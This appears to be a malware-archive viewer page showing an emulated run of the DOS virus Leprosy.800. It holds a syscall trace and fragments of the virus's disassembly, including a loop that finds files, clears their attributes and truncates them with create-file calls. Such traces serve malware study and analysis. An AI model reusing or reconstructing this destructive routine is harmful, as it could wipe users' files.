Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.800

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:41:59.530794627Z 48 PC: 12c36 | Get DOS version
2018-12-17T22:41:59.532721507Z 44 PC: 12c3e | Get time 0x12c3e: mov byte ptr [0x103], dl
0x12c42: mov dx, 0x146
0x12c45: mov ah, 0x1a
0x12c47: int 0x21
0x12c49: mov ah, 0x19
0x12c4b: int 0x21
0x12c4d: mov dl, al
0x12c4f: inc dl
0x12c51: mov ah, 0x47
0x12c53: mov si, 0x1a5
0x12c56: int 0x21
0x12c58: mov dx, 0x144
0x12c5b: mov ah, 0x3b
0x12c5d: int 0x21
0x12c5f: mov cx, 0x13
0x12c62: mov dx, 0x138
0x12c65: mov ah, 0x4e
0x12c67: int 0x21
0x12c69: cmp ax, 0x12
0x12c6c: jne 0x12c71
2018-12-17T22:41:59.534656334Z 26 PC: 12c49 | Set disk transfer address
2018-12-17T22:41:59.536081562Z 25 PC: 12c4d | Get default drive
2018-12-17T22:41:59.537754029Z 71 PC: 12c58 | Get current directory
2018-12-17T22:41:59.540466554Z 59 PC: 12c5f | Change current directory
2018-12-17T22:41:59.542206248Z 78 PC: 12c69 | Find first file
2018-12-17T22:41:59.543788206Z 79 PC: 12c75 | Find next file
2018-12-17T22:41:59.545662557Z 87 PC: 12d4d | Get or set file date and time
2018-12-17T22:41:59.547019857Z 67 PC: 12d59 | Get or set file attributes
2018-12-17T22:41:59.548616811Z 59 PC: 12d60 | Change current directory
2018-12-17T22:41:59.550823518Z 59 PC: 12d67 | Change current directory
2018-12-17T22:41:59.552607997Z 42 PC: 12d6b | Get date 0x12d6b: mov dx, 0x146
0x12d6e: mov ah, 0x1a
0x12d70: int 0x21
0x12d72: mov ah, 0x4e
0x12d74: mov cx, 7
0x12d77: mov dx, 0x140
0x12d7a: int 0x21
0x12d7c: jb 0x12d92
0x12d7e: mov ax, 0x4301
0x12d81: xor cx, cx
0x12d83: int 0x21
0x12d85: mov dx, 0x164
0x12d88: mov ah, 0x3c
0x12d8a: int 0x21
0x12d8c: jb 0x12d92
0x12d8e: mov ah, 0x4f
0x12d90: jmp 0x12d7a
0x12d92: mov ax, 0x4c00
0x12d95: int 0x21
0x12d97: xor ax, 0xfe8b
2018-12-17T22:41:59.554720607Z 26 PC: 12d72 | Set disk transfer address
2018-12-17T22:41:59.556823754Z 78 PC: 12d7c | Find first file
2018-12-17T22:41:59.558494643Z 76 PC: 12d97 | Terminate with return code (Return code = '0')